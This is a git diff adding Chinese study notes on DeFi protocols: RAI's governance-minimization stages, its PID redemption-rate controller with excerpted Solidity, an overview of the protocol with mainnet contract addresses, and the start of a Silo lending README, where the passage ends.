+- SAFE Engine - 一个定期调整每种抵押品类型的债务上限的合约；另一个定期根据最新的赎回价格调整债务下限的合约；实现取决于每个 GEB 的设置（它具有多少种抵押品类型，每种抵押品应覆盖多少百分比的系统货币等）。
+
+最后，从 Stability Fee Treasury 中提取资金的合约可能需要根据最新的赎回价格定期调整其 baseUpdateCallerReward 和 maxUpdateCallerReward。
+
+## 治理最小化层次
+
+GEB（例如 RAI）将经历三个级别（或阶段）的治理最小化：
+
+### Level 1
+
+发布后 14 个月截止日期
+
+在此阶段，治理将从以下控制中删除：
+
+- LiquidationEngine
+- DebtAuctionHouse
+- SurplusAuctionHouse
+- Collateral Auction Houses
+- OracleRelayer
+- Coin (ERC20)
+- CollateralJoin contracts
+- 协议中自动设置参数的合约（除了自动剩余缓冲区设置器）
+- TaxCollector
+- ESM
+
+### Level 2
+
+发布后 18 个月的截止日期
+
+在此阶段，治理将从以下控制中删除：
+
+- SAFEEngine
+- AccountingEngine
+- GlobalSettlement
+- Lender of First Resort Pool (and adjacent contracts)
+- RAI Controller
+- ProtocolTokenAuthority（因此放弃授权/撤销授权新旧债务拍卖行打印令牌的可能性）
+- ProtocolTokenPrintingPermissions
+- Auto Surplus Buffer Setter
+
+## Level 3
+
+此时，所有剩余的治理必须由社区掌握。社区将评估完全从更多合约中删除控制的可行性（例如 PID）。
\ No newline at end of file
diff --git a/defi/RAI/PID.md b/defi/RAI/PID.md
new file mode 100644
index 000000000..0951dfd45
--- /dev/null
+++ b/defi/RAI/PID.md
@@ -0,0 +1,180 @@
+# RAI PID
+
+relative repo:
+
+- <https://github.com/reflexer-labs/geb-rrfm-calculators>
+- <https://github.com/reflexer-labs/geb-rrfm-rate-setter>
+
+## compute redemption price rate by PID
+
+目前 RAI 使用了 P 和 I，没有使用 D
+
+$$
+\begin{align*}
+accumulatedLeak &= {perSecondCumulativeLeak}^{\Delta t} \\
+P &= redemptionPrice - marketPrice \\
+I &= accumulatedLeak \cdot I_{old} + \frac{P + P_{old}}{2} \cdot \Delta t
+\end{align*}
+$$
+
+Multiply P by Kp and I by Ki and then sum P & I in order to return the result
+
+$$
+P = P_{old} \cdot Kp \\
+I = I_{old} \cdot Ki \\
+PI = P + I
+$$
+
+If the `P * Kp + I * Ki` output breaks the noise barrier, you can recompute a non null rate. Also make sure the sum is not null
+
+如果计算出的负反馈参数绝对值需要足够大，即忽略太小的反馈参数
+
+目前线上 [PIRawPerSecondCalculator](https://etherscan.io/address/0xdda334de7a9c57a641616492175ca203ba8cf981) `noiseBarrier` 为 1， 即 `|PI| >= 0`, 不会忽略
+
+$$
+|PI| >= (2 - noiseBarrier) \cdot redemptionPrice - redemptionPrice
+$$
+
+Return a redemption rate bounded by feedbackOutputLowerBound and feedbackOutputUpperBound as well as the timeline over which that rate will take effect
+
+`getBoundedRedemptionRate()` 对 rate 做一些限制处理
+
+- `feedbackOutputLowerBound <= PI <= feedbackOutputUpperBound`
+- 目前线上 `feedbackOutputLowerBound = -999999.999999999999999999999` `feedbackOutputUpperBound = 1000000000000000000000000` 所以这个限制可以忽略
+- 如果 `PI < 0 && PI <= defaultRedemptionRate` , 则设置 `PI = NEGATIVE_RATE_LIMIT`
+  - (`defaultRedemptionRate = -1000000`, `NEGATIVE_RATE_LIMIT` 近似 1)
+- 如果 `defaultRedemptionRate < PI < 1` 则 `PI = defaultRedemptionRate - NEGATIVE_RATE_LIMIT`
+- 如果 `1 <= PI` 则 `PI = defaultRedemptionRate + PI`
+
+### 调用流程
+
+1. `PIRateSetter.updateRate()` 每隔一段时间，触发 redemption price rate 更新
+   - 该函数任何人都可以触发，并拿一点奖励补偿 gas 费用，目前设置的间隔是 12 个小时
+   - `orcl.getResultWithValidity()` 从 oracle 拿到 `MarketPrice`
+   - `oracleRelayer.redemptionPrice()` 获取之前的 `redemptionPrice`
+2. `PIRawPerSecondCalculator.computeRate()` PID 模块计算新的反馈参数
+   - `updateDeviationHistory(proportionalTerm, accumulatedLeak)`
+   - `PI = getGainAdjustedPIOutput(P, I)` 计算 PI 反馈参数
+   - `breaksNoiseBarrier()` 过滤太小的反馈参数
+   - `getBoundedRedemptionRate()` 对 PI 做一些限制
+
+```solidity
+// geb-rrfm-rate-setter/src/PIRateSetter.sol
+contract PIRateSetter {
+    function updateRate(address feeReceiver) external {
+        ...
+        // accumulatedLeak
+        uint256 iapcr      = (defaultLeak == 1) ? RAY : rpower(pidCalculator.pscl(), pidCalculator.tlv(), RAY);
+        uint256 calculated = pidCalculator.computeRate(
+            marketPrice,
+            redemptionPrice,
+            iapcr
+        );
+        // set rate
+        try setterRelayer.relayRate(calculated, feeReceiver) {
+          ...
+        }
+    }
+}
+
+// geb-rrfm-calculators/src/calculator/PIRawPerSecondCalculator.sol
+contract PIRawPerSecondCalculator is SafeMath, SignedSafeMath {
+    /*
+    * @notice Compute a new redemption rate
+    * @param marketPrice The system coin market price
+    * @param redemptionPrice The system coin redemption price
+    * @param accumulatedLeak The total leak that will be applied to priceDeviationCumulative (the integral) before the latest
+    *        proportional term is added
+    */
+    function computeRate(
+      uint marketPrice,
+      uint redemptionPrice,
+      uint accumulatedLeak
+    ) external returns (uint256) {
+        ...
+        // The proportional term is just redemption - market. Market is read as having 18 decimals so we multiply by 10**9
+        int256 proportionalTerm = subtract(int(redemptionPrice), multiply(int(marketPrice), int(10**9)));
+        // Update the integral term by passing the proportional (current deviation) and the total leak that will be applied to the integral
+        updateDeviationHistory(proportionalTerm, accumulatedLeak);
+        // Set the last update time to now
+        lastUpdateTime = now;
+        // Multiply P by Kp and I by Ki and then sum P & I in order to return the result
+        int256 piOutput = getGainAdjustedPIOutput(proportionalTerm, priceDeviationCumulative);
+        // If the P * Kp + I * Ki output breaks the noise barrier, you can recompute a non null rate. Also make sure the sum is not null
+        if (
+          breaksNoiseBarrier(absolute(piOutput), redemptionPrice) &&
+          piOutput != 0
+        ) {
+          // Get the new redemption rate by taking into account the feedbackOutputUpperBound and feedbackOutputLowerBound
+          (uint newRedemptionRate, ) = getBoundedRedemptionRate(piOutput);
+          return newRedemptionRate;
+        } else {
+          return TWENTY_SEVEN_DECIMAL_NUMBER;
+        }
+    }
+
+    /*
+    * @notice Push new observations in deviationObservations & historicalCumulativeDeviations while also updating priceDeviationCumulative
+    * @param proportionalTerm The proportionalTerm
+    * @param accumulatedLeak The total leak (similar to a negative interest rate) applied to priceDeviationCumulative before proportionalTerm is added to it
+    */
+    function updateDeviationHistory(int proportionalTerm, uint accumulatedLeak) internal {
+        (int256 virtualDeviationCumulative, ) =
+          getNextPriceDeviationCumulative(proportionalTerm, accumulatedLeak);
+        priceDeviationCumulative = virtualDeviationCumulative;
+        historicalCumulativeDeviations.push(priceDeviationCumulative);
+        deviationObservations.push(DeviationObservation(now, proportionalTerm, priceDeviationCumulative));
+    }
+
+    /*
+    * @notice Compute a new priceDeviationCumulative (integral term)
+    * @param proportionalTerm The proportional term (redemptionPrice - marketPrice)
+    * @param accumulatedLeak The total leak applied to priceDeviationCumulative before it is summed with the new time adjusted deviation
+    */
+    function getNextPriceDeviationCumulative(int proportionalTerm, uint accumulatedLeak) public isReader view returns (int256, int256) {
+        int256 lastProportionalTerm      = getLastProportionalTerm();
+        uint256 timeElapsed              = (lastUpdateTime == 0) ? 0 : subtract(now, lastUpdateTime);
+        int256 newTimeAdjustedDeviation  = multiply(riemannSum(proportionalTerm, lastProportionalTerm), int(timeElapsed));
+        int256 leakedPriceCumulative     = divide(multiply(int(accumulatedLeak), priceDeviationCumulative), int(TWENTY_SEVEN_DECIMAL_NUMBER));
+
+        return (
+          addition(leakedPriceCumulative, newTimeAdjustedDeviation),
+          newTimeAdjustedDeviation
+        );
+    }
+
+    /*
+    * @notice Return a redemption rate bounded by feedbackOutputLowerBound and feedbackOutputUpperBound as well as the
+              timeline over which that rate will take effect
+    * @param piOutput The raw redemption rate computed from the proportional and integral terms
+    */
+    function getBoundedRedemptionRate(int piOutput) public isReader view returns (uint256, uint256) {
+        int  boundedPIOutput = piOutput;
+        uint newRedemptionRate;
+
+        if (piOutput < feedbackOutputLowerBound) {
+          boundedPIOutput = feedbackOutputLowerBound;
+        } else if (piOutput > int(feedbackOutputUpperBound)) {
+          boundedPIOutput = int(feedbackOutputUpperBound);
+        }
+
+        // newRedemptionRate cannot be lower than 10^0 (1) because of the way rpower is designed
+        bool negativeOutputExceedsHundred = (boundedPIOutput < 0 && -boundedPIOutput >= int(defaultRedemptionRate));
+
+        // If it is smaller than 1, set it to the negative rate limit
+        if (negativeOutputExceedsHundred) {
+          newRedemptionRate = NEGATIVE_RATE_LIMIT;
+        } else {
+          // If boundedPIOutput is lower than -int(NEGATIVE_RATE_LIMIT) set newRedemptionRate to 1
+          if (boundedPIOutput < 0 && boundedPIOutput <= -int(NEGATIVE_RATE_LIMIT)) {
+            newRedemptionRate = uint(addition(int(defaultRedemptionRate), -int(NEGATIVE_RATE_LIMIT)));
+          } else {
+            // Otherwise add defaultRedemptionRate and boundedPIOutput together
+            newRedemptionRate = uint(addition(int(defaultRedemptionRate), boundedPIOutput));
+          }
+        }
+
+        return (newRedemptionRate, defaultGlobalTimeline);
+    }
+}
+```
diff --git a/defi/RAI/README.md b/defi/RAI/README.md
new file mode 100644
index 000000000..4c744cb9a
--- /dev/null
+++ b/defi/RAI/README.md
@@ -0,0 +1,272 @@
+# RAI
+
+RAI具有非法币锚定、完全去中心化、以及最小化治理的极致去信任特性，是以太坊网络上最去中心化的稳定币之一，也被以太坊创始人Vitalik称为是“仅由 ETH 支持的抵押自动稳定币的纯粹理想类型”。
+- whitepaper: [Rai: A Low Volatility, Trust Minimized Collateral for the DeFi Ecosystem](https://github.com/reflexer-labs/whitepapers/blob/master/English/rai-english.pdf)
+- doc: <https://docs.reflexer.finance/>
+- site: <https://reflexer.finance/>
+
+V神和Dankrad都有文章介绍RAI的机制：
+- [Two thought experiments to evaluate automated stablecoins](https://vitalik.eth.limo/general/2022/05/25/stable.html)
+- [RAI -- one of the coolest experiments in crypto](https://dankradfeist.de/ethereum/2023/01/31/rai-crypto-experiment.html)
+
+RAI系统的这一套机制，正符合货币主义奠基人、诺贝尔经济学奖获得者米尔顿·弗里德曼理想情况下对美联储的预期。弗里德曼认为，"Abolish the FED.  Replace it with a computer."（这同时也是Reflexer社区的重要Meme）。
+
+参考文档：https://dapplearning.notion.site/RAI-e39c867e62ac4c749344097b36996a09
+
+
+## 介绍
+
+### 历史
+**2020年2月**, RAI 最早来自于**[ameensol](https://ethresear.ch/u/ameensol) （SpankChain 和 MolochDAO 的联合创始人 ）的一篇博客：** https://ethresear.ch/t/announcing-metacoin-the-governance-minimized-decentralized-stablecoin/6897，博客里还是叫Metacoin， 主要是为了改造MakerDAO。
+
+鉴于 MakerDAO 最近升级到多抵押品 DAI (MCD) 并决定放弃 ETH 作为唯一抵押品形式
+（从而为链下资产引入交易对手风险），Ameensol 提出了一种新的信任最小化的稳定币系统：
+此类系统 (MetaCoin) 的一种潜在设计具有以下组件：
+
+```
+一个名为 META 的治理和奖励代币
+一种叫做 COIN 的稳定币
+存入 ETH 时铸造新的 COIN
+法币支持的稳定币（即 USDC、USDT、TUSD）的代币管理注册表 (TCR)
+Uniswap 上稳定币篮子的成交量加权平均价格作为价格预言机
+如果价格暴跌，清算 ETH 抵押品
+向 COIN 铸币商收取可变利率，目标是 1 COIN = $1
+自动更新利率的算法控制器 (PID)
+MakerDAO 和 MetaCoin 之间最重要的区别是 价格预言机 和 治理在利率设定方面的作用。保留 ETH 作为抵押品以铸造新的稳定币（DAI 或 COIN），并在抵押品价值下降时主动清算用户仓位。
+
+预言机： 
+RAI选择了几个法币支持的稳定币（即 USDC、USDT、TUSD），然后使用 Uniswap 上该篮子的成交量加权平均价格来确定 ETHUSD 的参考价格。
+``` 
+
+**2020.5** 发布白皮书 [RAI whitepaper.](https://github.com/reflexer-labs/whitepapers/blob/master/English/rai-english.pdf)
+
+**2021.2.17**  RAI正式上线以太坊主网，上线5天之后，总锁仓ETH超过10万枚。一个月后公布了FLX的代币经济学和用例（ FLX 对于 RAI 就像 MKR 对于 DAI 一样）。
+
+**2022.2**  协议开始增加intergral参数；
+
+**2022.5** 对部分合约进行了“无治理”升级；
+
+
+### 核心业务流程
+RAI 本身由 ETH 抵押生成，但并不锚定美元或者某一特定指数，而是通过 Reflexer 特有的机制设计(PID)使得 RAI 本身的价格波动很小，从而实现“稳定币”的稳定特性。
+
+RAI 类似于单一抵押 DAI （SCD）, 用户超额抵押ETH按照赎回价格（也就是目标价格）生成稳定币RAI，用户付出2%的年利息即可持续使用RAI。同时用户随时按照系统的赎回价格偿还 RAI，并支付借贷利息，就可以赎回ETH。
+
+与DAI和其他绝大多数稳定币不同的是，RAI并不锚定任何汇率，而是为了减少其抵押品的波动性。
+
+RAI 采用的是双代币机制，有单独的治理代币，其治理代币是 FLX，FLX 对于 RAI 就像 MKR 对于 DAI 一样。
+
+目前 FLX 除了能参与治理以外，协议向 user 收取的利息一部分会用于回购销毁 FLX，同时协议对组建 FLX/ETH 这个 LP 也有一定的激励。
+
+#### 基本组成模块
+
+- **Reflex-index**：RAI，非锚定资产，与自身抵押品相比波动性较低
+- **赎回价格**：系统希望RAI具有的价格；DAI 始终停留在 1 美元，但RAI可变
+- **市场价格**：市场评估RAI的价格
+- **赎回率**：用于激励用户产生更多杠杆或偿还债务的利率（可以是正数或负数）；赎回率逐渐改变赎回价格；
+- **借贷能力**：一个单位的抵押品可以借出多少个RAI；每次系统收到其接受的抵押品类型的价格供给更新时，供给数据除以赎回价格，然后再除以清算率，可以计算借贷能力；以ETH为例：假设ETH的价格为1000美元，清算比例为150%，如果当前RAI赎回价格为3美元；1ETH 的借贷能力大约等于 1000 / 3/ 1.5 = 222.2 RAI
+- **稳定费率：**年化2%
+- **清算罚金**：18-20%
+
+
+#### RAI 的稳定机制
+   RAI 有两个价格，一是赎回价格（redemption price），二是二级市场价格（market price）。RAI 会通过一个赎回比率（redemption rate）来控制赎回价格，以及控制市场价格始终围绕赎回价格来回波动。
+   在Reflexer的系统中有两类角色：Holder：RAI系统的出借人。 Borrower:  RAI系统的借款人（即minter）。
+   SAFE users 是抵押 ETH 生成 RAI 的投资者，那么 RAI 就相当于 SAFE users 的负债，注意这里的负债计价采用的是赎回价格，和市场价格无关，当 SAFE users 想要还清债务时，也是按照赎回价格偿还给协议并支付一定利息；而 holders 则是通过市场价格购买 RAI 的人。
+
+### PID平衡机制
+
+1. **当市场价格大于赎回价格时**
+   当市场对RAI的需求旺盛，导致RAI的市场价格上涨时：
+   系统通过 PID 控制模块（后面展开叙述）将会输出一个负的赎回比率，负的赎回比率意味着 RAI 的赎回价格会不断下降。这样使得RAI的赎回价格更加显著的低于市场价格，从而使得系统内的Borrower倾向于增加借款，即通过质押ETH获得新的RAI并出售给市场来获利，从而使得RAI供应量提高，市场价格降低。整个过程如下图所示。 而对于 holders 而言，未来赎回价格的下跌也会联动到市场价格的下跌，因此 holders 就有动机选择卖掉 RAI 以规避 RAI 价格的下跌。这两种行为都会导致市场上 RAI 供给的增加，从而使得 RAI 的市场价格逐渐下降，降到和赎回价格一致。
+2. **当市场价格小于赎回价格时**
+   当市场对RAI的需求萎靡，导致RAI的市场价格下跌时：
+   系统通过 PID 控制模块将会输出一个正的赎回比率，正的赎回比率会导致赎回价格不断上涨，而预期到赎回价格未来会上涨。
+   这样使得RAI的赎回价格更加显著的高于市场价格，从而使得系统内的Borrower更加倾向于偿还借款，即从市场购买RAI偿还给系统，否则未来再还债就会花更大的成本，这样使得RAI供应量降低。 而同时holders 预期到未来价格会不断上涨，也就会更加有动力持币，甚至会吸引新的 holders 入场买 RAI。 这两种行为都会导致对 RAI 的需求增大，从而导致 RAI 的价格不断上涨接近赎回价格。
+
+
+
+## 代码
+![GEB_overview](<https://1187825898-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9jdHretGKCtWYz5jZR%2F-MZCEBuqpWiVDbzkVeUa%2F-MZCEJv2Xvz-xIw0JAwy%2FGEB_overview%20(1).png?alt=media&token=d1233706-ec95-443b-8d45-97f973d18208>)
+
+[GEB Overview Diagram](https://viewer.diagrams.net/?target=blank&highlight=0000ff&layers=1&nav=1&title=GEB_overview.drawio#Uhttps%3A%2F%2Fdrive.google.com%2Fuc%3Fid%3D1nIcaY8N8StVCfyAL_ztbmETJX2bvY3a9%26export%3Ddownload)
+
+
+
+## 扩展
+### RAI 支持 LSD 的讨论
+
+<https://community.reflexer.finance/t/can-oracles-double-as-co-stakers-how-rai-like-systems-might-safely-support-staked-eth/397>
+
+### 稳定币不可能三角
+
+<https://stablecoins.wtf/resources/the-stablecoin-trillema#price-stability>
+
+与前文提到的蒙代尔的三元悖论类似，在加密世界中，也有人提出了关于加密稳定币的三元悖论，即稳定币的资本效率、价格稳定性和去中心化三者也不能同时存在。笔者认为这种分类也有一定道理，试图同时获得这三者的 ESD/BAC/UST 最终都走向了灭亡。
+
+<https://research.mintventures.fund/2023/03/10/zh-reflexer-finance-rai-non-pegged-over-colleteral-decentralized-stablecoin/>
+
+### PID
+
+1. Monetary policy and PID control: <https://www.imfs-frankfurt.de/fileadmin/user_upload/Events_2018/MMCI_Conference/Papers/09-Raymond_Hawkins-Monetary_Policy_and_PID_Control.pdf>
+
+3. RAI
+
+![controller_monitoring_small](https://reflexer-labs.github.io/geb-data-science/controller/output/controller_monitoring_small.png)
+
+RAI history 180 days
+
+redemption price 受到 market price 的反馈(p_rate, i_rate)，再影响 market price
+
+## 用途
+
+### Unique Money Markets
+
+如果 Alice 从货币市场借款并支付 5%的年利率来借出 RAI，而且 RAI 的赎回价格每年下降 10%，那么她实际上每年获得 5%的收益。这是因为预计 RAI 的市场价格在一年内会下降 10%。 另一方面，Bob 可能以 4%的年利率出借 RAI，但如果赎回率是-10%，他的净利率为-6%。
+
+还有另一种情况，Bob 以 4%的年利率出借 RAI，而赎回率为每年 10%。总的来说，Bob 在他的头寸上每年赚取 14%的利润（假设 RAI 在下一年中的价格会升值 10%）。同时，借用 RAI 以每年 5%的利率的 Alice 将支付总计 15%的费用（5%的货币借贷利率加上预计的一年内 RAI 价格上涨 10%）。
+
+### Stacked Funding Rates
+
+### 期权
+
+开发者可以构建一个期权协议，考虑到赎回利率的变化来确定看涨/看跌期权的价格。这是因为赎回利率可以被认为是 RAI 的内在利率。
+
+### Pegged Coins/Synthetic Assets
+
+构建固定货币的项目可以使用 RAI 作为 ETH 的更稳定的替代品。在 ETH 市场严重崩溃的情况下，RAI 可以为其持有者提供更多时间解除其仓位，然后再进行清算。
+
+### Yield Aggregator
+
+部署资本以为用户获得最佳收益的协议（例如 Yearn）可以利用 RAI（及其内在的赎回利率）来提高收益。例如，将 RAI 的正赎回利率与在 Compound 或 Aave 上的借贷相结合，是一种优化收益的可能方式。
+
+### Sophisticated Arbitrageurs
+
+套利者（或其他交易者）可以查看赎回价格行为并将此数据点与其他数据（例如市场情绪）相结合，以找到执行交易的理想时间。
+
+一些套利商可以向资本池提供专门的 RAI 交易服务。他们可以借用资金，并与资本池分成利润。
+
+### Portfolio Management Strategies
+
+## Governance Minimization
+
+最小化治理意味着在 GEB 部署过程中采取的一系列步骤，最终使治理无法控制或升级大多数核心合约，许多参数将由其他外部合约自主设置。
+
+[Governance Minimization.md](./GovernanceMinimization.md)
+
+## GEB
+
+GEB 协议的核心仓库，是 MCD(MakerDAO-dss)的修改版，具有几个核心的改进：
+
+- 可以理解的变量名称
+- 自主反馈机制，改变系统参与者的激励
+- 可添加 SAFE 保险
+- 固定和递增的折扣拍卖（而不是英国式拍卖）用于出售抵押品
+- 自动调整系统中的几个参数
+- 一组合约，约束了长期治理的参数控制
+- 可以一次将稳定费用发送到多个地址
+- 可以在盈余拍卖和其他类型的策略之间切换，以删除系统中的盈余
+- 每种抵押品类型有两个价格：一个用于生成债务，另一个专门用于清算 SAFE
+- stability fee treasury 可以支付 Oracle 调用或其他自动化系统的 gas 费用
+
+## FLX
+
+FLX token 在 RAI 协议中有两个主要功能：
+
+- 后备机制：FLX 股东是 RAI 协议出现问题时的第一道防线。第二道防线是通过债务拍卖市场发行新的 FLX 代币，以 RAI 代币为交换获取这些新的 FLX 代币。
+- 取消治理：一旦治理最小化完成，FLX 持有人将能够从 RAI 中移除任何剩余的治理组件，或者如果需要的话，继续管理可能难以取得治理的组件（例如预言机或与其他协议交互的任何组件）。
+
+在协议最小化治理之前，RAI 将设置三种手续费（向借款人收取的稳定费率）：
+
+1. stability fee treasury，这是智能合约，负责支付 Oracle 更新或任何其他旨在自动化 RAI 参数的合约。
+2. FLX 持有人，这是协议的第一道防线。
+3. 回购和销毁，旨在通过以 RAI 代币交换 FLX 代币并随后销毁 FLX 代币来拍卖 RAI 代币。
+
+对于 FLX 持有人而言，为其所产生的 RAI 代币将以 FLX 代币的形式进行拍卖。拍卖所得的 FLX 代币将随后发送到股权池。
+
+至于回购和销毁，则首先在协议的资产负债表中累积 RAI 代币。一旦资产负债表中的 RAI 代币足够多，协议就可以开始拍卖一些 RAI 代币，以换取随后销毁的 FLX 代币。
+
+为了更直观地理解这些信息，您可以查看下面的图表：
+
+![visualize](https://1187825898-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9jdHretGKCtWYz5jZR%2F-MgQYhDfSPb3lErtlIOO%2F-MgQbThRT20MvC16AqVK%2FUntitled%20Diagram.png?alt=media&token=104fb695-efee-4d5c-8a67-9079a9e6a662)
+
+## Addresses
+
+```json
+// geb-subgraph/config/main.json
+
+{
+  "NETWORK": "mainnet",
+  "PROXY_REGISTRY_STARTING_BLOCK": "5834628",
+  "ETH_FROM": "0x7FAfc11677649DB6AbFEC127B4B776D585520ae1",
+  "STARTING_BLOCK_NUMBER": "11848304",
+  "PROXY_DEPLOYER": "0x631e38D6Dc0F4A26F6BE0d3d0E4ebA3d02033aB4",
+  "COIN_TYPE": "INDEX",
+  "GOVERNANCE_TYPE": "MULTISIG-SAFE",
+  "MULTICALL": "0x51812e07497586ce025D798Bb44b6d11bBEe3a01",
+  "FAUCET": "0x0000000000000000000000000000000000000000",
+  "GEB_MULTISIG": "0x427A277eA53e25143B3b509C684aA4D0EB8bA01b",
+  "GEB_MULTISIG_PROXY": "0x2695b1dC32899c07d177A287f006b6569216a5a1",
+  "GEB_DEPLOY": "0x24AcC85528e6dd5B9C297fb8821522D36B1Ae09f",
+  "GEB_PROT": "0x6243d8CEA23066d098a15582d81a598b4e8391F4",
+  "PROTOCOL_TOKEN_AUTHORITY": "0xcb8479840A5576B1cafBb3FA7276e04Df122FDc7",
+  "GEB_PAUSE_AUTHORITY": "0x1490a828957f1E23491c8d69273d684B15c6E25A",
+  "GEB_POLLING_EMITTER": "0xf7Da963B88194a9bc6775e93d39c70c6e3f04f6F",
+  "GEB_SAFE_ENGINE": "0xCC88a9d330da1133Df3A7bD823B95e52511A6962",
+  "GEB_TAX_COLLECTOR": "0xcDB05aEda142a1B0D6044C09C64e4226c1a281EB",
+  "GEB_LIQUIDATION_ENGINE": "0x4fFbAA89d648079Faafc7852dE49EA1dc92f9976",
+  "GEB_ACCOUNTING_ENGINE": "0xcEe6Aa1aB47d0Fb0f24f51A3072EC16E20F90fcE",
+  "GEB_COIN_JOIN": "0x0A5653CCa4DB1B6E265F47CAf6969e64f1CFdC45",
+  "GEB_SURPLUS_AUCTION_HOUSE": "0x4EEfDaE928ca97817302242a851f317Be1B85C90",
+  "GEB_DEBT_AUCTION_HOUSE": "0x1896adBE708bF91158748B3F33738Ba497A69e8f",
+  "GEB_PAUSE": "0x2cDE6A1147B0EE61726b86d83Fd548401B1162c7",
+  "GEB_PAUSE_PROXY": "0xa57A4e6170930ac547C147CdF26aE4682FA8262E",
+  "GEB_GOV_ACTIONS": "0x0463bF18c2457B00402A7639fa1DFB7d60f659Ee",
+  "GEB_COIN": "0x03ab458634910AaD20eF5f1C8ee96F1D6ac54919",
+  "GEB_ORACLE_RELAYER": "0x4ed9C0dCa0479bC64d8f4EB3007126D5791f7851",
+  "GEB_GLOBAL_SETTLEMENT": "0xee4cf96e5359d9619197fd82b6ef2a9eae7b91e1",
+  "GEB_STABILITY_FEE_TREASURY": "0x83533fdd3285f48204215E9CF38C785371258E76",
+  "GEB_ESM": "0xa33Ea2Ac39902d4A206D6A1F8D38c7330C80f094",
+  "GEB_ESM_TOKEN_BURNER": "0xB10409FC293F987841964C4FcFEf887D9ece799B",
+  "GEB_RRFM_CALCULATOR": "0xddA334de7A9C57A641616492175ca203Ba8Cf981",
+  "GEB_DUMMY_RRFM_CALCULATOR": "0x9F02ddBFb4B045Df83D45c4d644027FBD7d72A6D",
+  "GEB_RRFM_SETTER": "0x7acfc14dbf2decd1c9213db32ae7784626daeb48",
+  "PROXY_ACTIONS": "0x880CECbC56F48bCE5E0eF4070017C0a4270F64Ed",
+  "PROXY_ACTIONS_INCENTIVES": "0x88A77b8Ff53329f88B8B6F9e29835FEc287349e0",
+  "PROXY_ACTIONS_GLOBAL_SETTLEMENT": "0x17b5d9914194a08c7Ef14451BA15E8aE4f92Cb93",
+  "PROXY_DEBT_AUCTION_ACTIONS": "0x3615A303674eC8bC0432f7e1BE8449A63a19d6Ef",
+  "PROXY_SURPLUS_AUCTION_ACTIONS": "0x16B0BF0Bf031A3691f4bD600e5340fEDd149C0ED",
+  "SAFE_MANAGER": "0xEfe0B4cA532769a3AE758fD82E1426a03A94F185",
+  "GET_SAFES": "0xdf4BC9aA98cC8eCd90Ba2BEe73aD4a1a9C8d202B",
+  "FSM_GOV_INTERFACE": "0xe24F8B30fd28c90462c9BbC87A9A2a823636F533",
+  "PROXY_FACTORY": "0xA26e15C895EFc0616177B7c1e7270A4C7D51C997",
+  "PROXY_REGISTRY": "0x4678f0a6958e4D2Bc4F1BAF7Bc52E8F3564f3fE4",
+  "MEDIANIZER_RAI": "0x92dC9b16be52De059279916c1eF810877f85F960",
+  "SPOT_RAI": "0x7235a0094eD56eB2Bd0de168d307C8990233645f",
+  "SPOT_FEED_SECURITY_MODULE_RAI": "0x0000000000000000000000000000000000000000",
+  "ETH": "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2",
+  "MEDIANIZER_ETH": "0xb825e25856bD98b3f2FAF2aEb6Cb8742B38C4025",
+  "FEED_SECURITY_MODULE_ETH": "0xD4A0E3EC2A937E7CCa4A192756a8439A8BF4bA91",
+  "GEB_JOIN_ETH_A": "0x2D3cD7b81c93f188F3CB8aD87c8Acc73d6226e3A",
+  "GEB_COLLATERAL_AUCTION_HOUSE_ETH_A": "0x7fFdF1Dfef2bfeE32054C8E922959fB235679aDE",
+  "PROXY_PAUSE_ACTIONS": "0x27a54e99dE813CE2E41BAa7F44d1F19FBA22B36D",
+  "PROXY_PAUSE_SCHEDULE_ACTIONS": "0x6a2714404Be6613A952A80266840ffe916194632",
+  "GEB_INCENTIVES_MINER": "0xa706d4c39c315288113020f3e2D7e1095e912a20",
+  "UNISWAP_FACTORY": "0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f",
+  "UNISWAP_ROUTER": "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D",
+  "GEB_DS_COMPARE": "0x10122261ff9520C590c0c3A679b7E3dFC8B09C64",
+  "GEB_TX_MANAGER": "0xB7272627825D1cb633f705BC269F8e11126D7A25",
+  "GEB_COIN_UNISWAP_POOL": "0x8aE720a71622e824F576b4A8C03031066548A3B1",
+  "GEB_SINGLE_CEILING_SETTER": "0x54999Ee378b339f405a4a8a1c2f7722CD25960fa",
+  "CHAINLINK_AGGREGATOR": "0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419",
+  "GEB_STAKING_AUCTION_HOUSE": "0x0000000000000000000000000000000000000000"
+}
+```
+
+## 参考链接
+
+- Stability without Pegs: <https://medium.com/reflexer-labs/stability-without-pegs-8c6a1cbc7fbd>
+- 视频解析: <https://www.youtube.com/watch?v=ADK91Zw4sJA&list=PL-GxJch-YeZerVVV8dY8qU2VkJfbnSfdN&index=3>
+- tokenengineeringcommunity: <https://tokenengineeringcommunity.github.io/website/>
+- RAI--升级版的 DAI？ <https://mirror.xyz/0x4011631B550E4c5C105FE90c2b7f03Fdbd344454/Bumv5mmOt8Sj85IpcGGMJvox4XLdrH0ce-4CJS_Wd6o>
+- 基于 BTC 的稳定币：<https://cryptohayes.medium.com/dust-on-crust-300d4b5cf3ec>
diff --git a/defi/Silo/README.md b/defi/Silo/README.md
new file mode 100644
index 000000000..d15623f9f
--- /dev/null
+++ b/defi/Silo/README.md
@@ -0,0 +1,105 @@
+# Silo
+
+silo 是一个无许可的借贷协议，可以使用任意资产借贷另一种资产。silo 在设计上隔离了风险，为所有 crypto token 创建了一个安全的借贷市场。
+
+- 通过设计划分风险，而不是通过跟踪每个代币的风险
+- 最小化治理；不需要治理来将资产列入白名单
+- 接受所有代币资产
+- 具有高度流动性和流动性。流动性集中和桥接，接受任何代币作为抵押品
+- 流动性限制是由市场而不是治理设定的。资产用作抵押品的能力仅取决于其找到交易对手的能力。
+
+## 原理
+
+目前的借贷协议，AAVE Compound，都是共享资金池。这种设计，一旦资金池中有一种资产出现问题，就会给整个借贷池带来巨大的风险。因此，共享资金池大部分都仅支持很少的几种资产，牺牲可扩展性为代价来提高效率。
+
+### 安全性
+
+![silo-isolate](https://miro.medium.com/max/1400/1*7MFa-SS0P-90hK0_MusqLQ.png)
+
+silo 协议通过设计降低了风险。它实现了孤立的货币市场——我们称之为 silo——每个 silo 仅由两种资产组成，即桥梁资产和独特的代币。通过将任何资产的风险隔离到特定的 silo，新的和高风险资产可以立即用于借贷市场，而不会对其他 silo 中持有的资产造成系统性风险。
+
+### 高效率
+
